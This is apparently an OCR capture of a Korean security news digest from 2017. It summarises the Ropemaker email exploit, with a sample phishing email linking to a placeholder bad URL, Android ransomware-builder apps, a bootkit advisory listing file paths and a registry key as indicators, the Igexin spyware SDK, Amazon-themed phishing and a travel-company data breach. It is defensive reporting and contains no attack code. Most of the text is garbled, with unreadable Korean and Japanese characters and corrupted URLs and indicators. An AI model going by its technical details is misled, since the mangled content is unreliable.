H % 3 » 4 %~ = Versfy Information For Auditors ASAP - Message (HTML) T @ B
BAESSAGE MIMECAST
& x Q_Reply E: _‘ | Alprts _ Y - 5 Mark Unread EI% #H Q
5 Reply an G - = To banager - ,.P <] Categorize = A -
:E-' [helete = " =1 Mowe __ Translate Zoom
4 Forward E‘! = Tearn Email i - [EP= ™ Follow Up~ - [x -
Deiwte Reipend Cuick Steps I KMave Tags [ Editirig Taam s
Tue TN20NT 12:45 PR

Mike Parise <rnparse@gmail.com>

Verify Information For Auditors ASAP
To M Bob Adams

HiBaob,

I'm i a meeting with avditors and can't talk, but need vou to venfy thas information 15 accurate -
www BadURL com/Audit HTML - I'll follow up with vou after the meeting, but need this checked
now.

Thanks!
-Mike

Mike Parise Mo tems BE

Figure 2 - Switch Exploit Email with a Bad Link

-

OHTLIZ0| T2, Ropemaker S22 Z2IK(0| [0 (2 OIEX| A4S 4 ULt S SH
AIOIER 212 S5 URL 2 AISKISS TRI0I0 ZIBAIZ 4 = oK URL 2 BRI & 4 UC,

U AARISS ABAP} O YIS QEsten AT 2 OIS BRI XTSI [ ARRKISS 2ot 9130
St
=
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I OHE 34 ALE]|29! “Matrix Exploit™2, 210l 223t “Switch Exploit” 2t 2% BHX| 3! OIS O{EA| St

— O™

Matrix Exploit SZ0IM=, SZXt= O|H[Y0]| BIAE matrix £ £ CHS 2124 (SS & 0183l 0 LE80| BAIEX|

MefxoR Roft 4 47| 20, B2} O[HILS] body O O URL S 715K S st BE %42 BAIE 4

QU EIC,

—_

oF4OZ ZROHK| = A017| ME0f| 0] SZ2 Lolol7 |7t = &SCh S+HS2 OIRITIK| 2H= 28 &

ARt 2151 27| O|HIYS HHSHURL = EA| 6HK| fo0Z  [HEE0| ATEQ0] A|ARISR 0] HIAIXIE

Alglls HZASHK| ZXITL, 0] SH0| Al =X @17 ATI= 2hilsh = Gi= HE0[2t SiRict,

— =21

o —
7|gte] OH| 2! Gmail, iCloud, Outlook S AtESk= 0| ELL SFXH HIATE 3 2HIY 2| Apple Mail,
Microsoft Outlook, Mozilla Thunderbird & O|H Z2I0|HES2 Ropemaker SZ0| F{2SILCL,

Ol2fet SHAL=RH HS 7| Q{olii=, AFSAE2 Ropemaker 2+ Z2 (SS AAZZ0I0]| Feks K| = ¢
X

[EX] http://thehackemews.com/2017/08/change-email-content html
https:/ Mmmw.mimecast.com/blog/2017/08/introducing-the-ropemaker-email-exploit/
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L B E E0H0f| QIEZ0|E HMYNE TS = U= A wA

Easy-to—-Use Apps Allow Anyone to Create Android Ransomware Within Seconds

BRRFE

BRI

EEBTRANL

APKAERYE 2./ storage/emulated/ 0/ 48
BT apk

SHAASO0| M KBS G A mE2]7| 2o AH|AS 2HML)|0(RaaS: Ransomware-as—a—service)=S TK5} |
A[ZIRACE O|2M EHLIE 70| Q= ARSAEE 15T SHMAIE TS0 DR 4~ QUA| EIACE

£[010] 2, L7t LIREET} 7RS4 Rho| 71712 085 IER0|E HRI0f2 et 4 9= 0

M22 HE20(E o HE0 2= H F SoF 2HRll0] 220 240] S7I = | =/,

A|ZHEI| HOF G RS2 S=0IM Q7 IRUE A8 HEAZ HIAFY MH|A2| 1S So of olfd IR0

Lt EZ0I=0L K 7|E (TDKs)E HR22E A ALSE 4= URS Sh= AEZ0|= HS UL,

o
HO
Ol
ol

LiEte] QIEZ0|E 2HMY0E BiE= |
Of o QIEITO|A= AFZO| +2H, =12 X[A0] G0|= HAR HHIY S TS &+ ACk= 2 0[2/0|
CHE QI=20(= At BEE CH=X] 2T

AR HHACE TS| PloiM AEAIS2 0] ¥iE HREE, dX| | 2LE = 02| 1155 U=GHOF SICk:

o ZiF = 7712 E=z = EA| 2 HAX]
o ZH = 71712 == SHMlsh=t AR 2 7|
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04 8] Kot =3¢

® 200 AE = 0102

® L= HiFet

FAT 5t O

|

71 %

|-.U
Ol
o
uln

® I E 7|710 EA| = OHLIM[OM ER
O] 2= FEI} 3 &M, ABAk= “Create” HHES 527|261 EC,
AEXPZE XMZ0[2HH, O] B2 AEXOA AEf 517 T MHIA0| 71isIEt= HIMKIE BEAISICE O1=M AZAR=

JEi=
HHERIQH 20| HEIS B 4 UOT, £S XSE 4 Uk ZHV} A M, 0] T ARIZ A Hof H2
TSt 4 QU= AENR QI8 XFIRIRION R EIDH ARBAR= 7HS3H B2 IistKIS RIS & Blo] HRCt

| ¢S Solf e = HAUO= SYSTEM_ALERT WINDOW E Akdl| 717 (2] AT 7S &L TSHK
u _

&
A =S Yol HIAE 8IAS HAohs, X! Lockdroid SAtS MEUCH 1 HRACE
=

0

Ol{et WS AtSolH SHZO[LE HE[0f] 20| U= 1Lt T oF Z 24 ofX| E0I HIZ AEE =+ U=
[

HHYE JHEE = Q| FICE kA, Q= FE 7t HHdRl0] HES0| 371 A= HOlt,

[EX] http://thehackemews.com/2017/08/ create-android-ransomware.html

https:/ /Mmmw.symantec.com/connect/blogs/mobile-malware—factories-android-apps—creating—ransomware
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2.3=

CN Cert, 52 Il Bootkit Z=2J!

KXFF5R |l bootkit mEHE X IFRNTNE EIR

N Cert'= 212 S4EE QEET Q= 75l Bootkit 2T =0M i 2T ST
5811 Bootkit 2t HHE O] UHMTFE= = L CIREE T2 1= SE510 K411 UOM, XP, Win7, Win10
S 72 0S 0 25 S| |33H:t 52581l Bootkit QAT HAER| CIXIE QESME 24 QUL

SISt SPMTICE VBR S £5101 EIXIZ Of2| & H0t 02t S2IRC0N 715 PSS Li2{gior 218 PCOjIAY
orMaHoIS SIC}

2 S101 i

1) LHZAHE] SI{0ll wav IO | EXHSH=X] SIQISICL,
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Media
C:\Users\A2X1E\AppData)\Local \Microsoft\Media

2) C:\windows\system32\ushsapi dll 20| ZXHSH=X| ZIRISHT},

3) EIXIAEL|0f| THS 20| A=K 2fRIBICH.

{FC70EFDD-2741-495C-9A93-42408F6378D9M\un

4) HIXIAER|0 CkZ 240 QL2 0|0] ZGHE XS 20[BICt,

HKEY_LOCAL MACHINE\Software\Classes\CLSID{FC70EFDD-2741-495C-9A93-42408F6878D9%\ex &t : 1

SIXY| Lol = SHE AT =0 CHEH0 Trojan.Bootkityigui 2 EXIGHT QUL

[EX] http:/mwww.certorgen/publish/main/9/2017/20170729122626519351207/20170729122626519351207 _html
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S= 811 SDK 2t HZ & ACZ0|= ATOJ0] -IA

ERE & SDK =M Android FHIHFZZEAFPEIE, B3k App THEI(Z

zl2 #=2220]01A 500 7H2| HS0| A==, 1 AS Holl= ARSAL =2t ALOI0IE X[+ U= &1
SDK 7+ LIE=H ALY Igexin 0|2t BE & 0] E11 SDK = S= 27 HEHCH, 7|7[0M 218 FE& + Us
TS EX[oh=M| AMSEUS 4= AUCL

HOt AT ES2 K| EQY [gexin SDK S Z&let 50071 02| 2I=20]|= A=0[ 19 2| Ol L22E ERACHL

SHRAC SFX[2t O] 2= WS0| ALIO[H|00]] 24 & A2 Ot|=fal Z3HCH.

53T ~ 12| O]y L2=E & M2 10 HSS Ploll 7HY = AIY ¥10|H, lgexin SDK £ Eelet ¢S & 71 T2
EZ2S RIARHCE O] S0 20 4, QIESI 2T €, AREHEE o, W, 747 H DELA Ol 3 0|2E[E WS
ofid SDK 7t Z2et H A9 = LIEKGTt. A-1HS2 "= 0| o4d AR 7IsS H22E ohs A2 OfUX|TH
lgexin O] & I AHIE TRZEE & 4= UAA A= LIERRTE 11 SiiLt,

Lgexin SDK & 0[2t FAfet SDKE2 = & JHUXAIS0| Z2HI F1l HIERIT2L 2ol H1IS Aot 215
Y=ol 7] #loll ALSSICE. O[22 MHIASZ BRI E11S 2lolf S AMEAIC| HI0[EIE +-Eeitt. YENO= #59]
BAIE R2l6l7| flolt] AETE MEAIS2 Fd ¥E F2E20(0 S5 o =, AZAPE 71710 L= ’eH
AYTEES 2T = EIZ T30 ES P2l

|'0II

OfK|ZH O'HO]| LZAE Igexin2 Y 7HUAISO0] 2=5HM 7SS T 0| OLH, == AZAL 7|7[0M b=
o} HOIZ=S MOfotK| ol MR AX[SIX|E= Sotil AL 02 e HO|Z2E=S W ElUi= A2 25

lgexin 2 ZEZ M| U= 22X THE0]| Z4ok= Z0|AC.

o
X

OII

US0| PMTES QSN ZHOR Ul ip U Aot EAIBET UL | IR0, ONARIL HES wist
QUACE. B U2 Igexin SDK 7} AKBSH= ASTOIE0| YIX[3tRESTAPI 2 245t 5 I 2155} B MISS
Ci22c it

2
oy
o
ES

rx
12
9
Il
2 |

‘TIRZC = SAN et E 7ISS2 HEIY Al 20| 2AF0H| 2ol M=, HZ2| AAH> X}
20101 Sfoll A= HEE == AUT. EH API 70| O|FH{X|H, AEXtet Y HEXS2 717|0M 2 ==
H et M= & &~ GiA| STt "2t St

N
=
o
ol
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04 ofe] Hot St
QISE M3} 7|SE XESh= PhoneStatelistener 2+ 22 7

Iy —F=3
==

7I7|01|*1 2IE &= A 0|20x, CHE 31
SSot=t AR E = UL
[&X https://threatpost.com/android-spyware-linked-to—chinese—sdk—forces—google—to—boot-500-apps/ 127585/

https://bloglookout.com/igexin-malicious-sdk
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SH 8= 3R0= AES EZLF, 7% Amazon 2| Y0 =2

SR VGaIET7 AT Oy ). AAmazon DT 1w OISER

amazon ..,

IARTOBEBHNRET
ot

BeRas

R D el N
mine

n-ras
amam (A/%)

Cw ( BRRON
FENy 26536
oRT )

FEX LEAOIE (HE: TOREol2))

22RIATMOIE ‘Amazon'S 7FESI0 AEEEE 0N o= TR S20] 2ok ULt Dl &riRolsl=
FOIS GRIUCL 0] Aol M=, ZHO| HIZ2 A HZS SiMSHILI2ts MFez SAE1 U=
Zi0[2t11 BiCt

=HO] Mo AEE S| R0 LF 7 AT DE0l, JHE 2R1s QUL AUCk= S22 20K 7 (M=
URLOIIA 71t AO|EZ RESITE SEO| @iE R0 Alds HaMH= 52
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04 she| Hot St
2HAZ FEE TFloks +HS 0180l UM Fex] HO[X[0IM AFEE, B IO EA 0I5t HO|X|0A]
HOIAES Ealoh ME7IE FEL 4 S5 [0 iSk=L,
KISHRIE ‘Amazon'S 7Pt “ME[ATZF STHEACY, S5 27 ZRERILY SO= K00 A il S22
ZolH 71t AO|ERZ Roh= HOIATH 4 20| 2IRIE[ 1T AT, Eot HIZAFO{2] A MEH, MAXCZE
‘Amazon's 7Fet DY S22 T 2ol QT TRJCHEHEOIS|0fA= JPCERT ZLIHI0 A 0| ZAIS
= EXolM StlotX| = F2UE 34014 RUACE

Ol=loty! HHE BX

[EX] http:/ /www.security-next.com/084955
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o=
=

H.LS., Z[CH 1 2F1000 4 02| F0f LIEA2| 7elPgH

H.LS.. 5K 1 751000 &40y 7—EBAZDEN G

CHOIF] Of0] HA(1S)= 581222, SAIo] 233 BASOIEHE SUXI2 o= 20 NOIUA £012
A5t e 40| HOIET} O] ALO|E0| FRlet IRUAO| Tl OfsH REEH= AL HMICIT SERCY

L_OL—-

E'IS W71 PDSOETHARALIONT LCBIAW BAETIT o BZS
4 ALl Bn mm2ocam/ HAcenEIAIBT7RA BRAN HARK BA-BROSEE 5%

HISEyIN= > BAIAY7 =Y AS0STHIRBRLICONT

2017488228

BEREM
BAZHIAF 7122

EAARY 7 =Y A DSOSERIRARTICONT

LU, BHOER 2 07— (SBWELRBLTHID) 74+ (UTIEFT (HEOOEZDHISIVT7-DEPLAKEN
RN~ 8D E THO BANEDY, RHS (FADABISOTIERTLYRETHF RO REVLLIV, 485, REDED
ABAMBEERIN BEDESII N> THYELA o, BT (HRBHDBOF LS FH? A+ LI BV 2T
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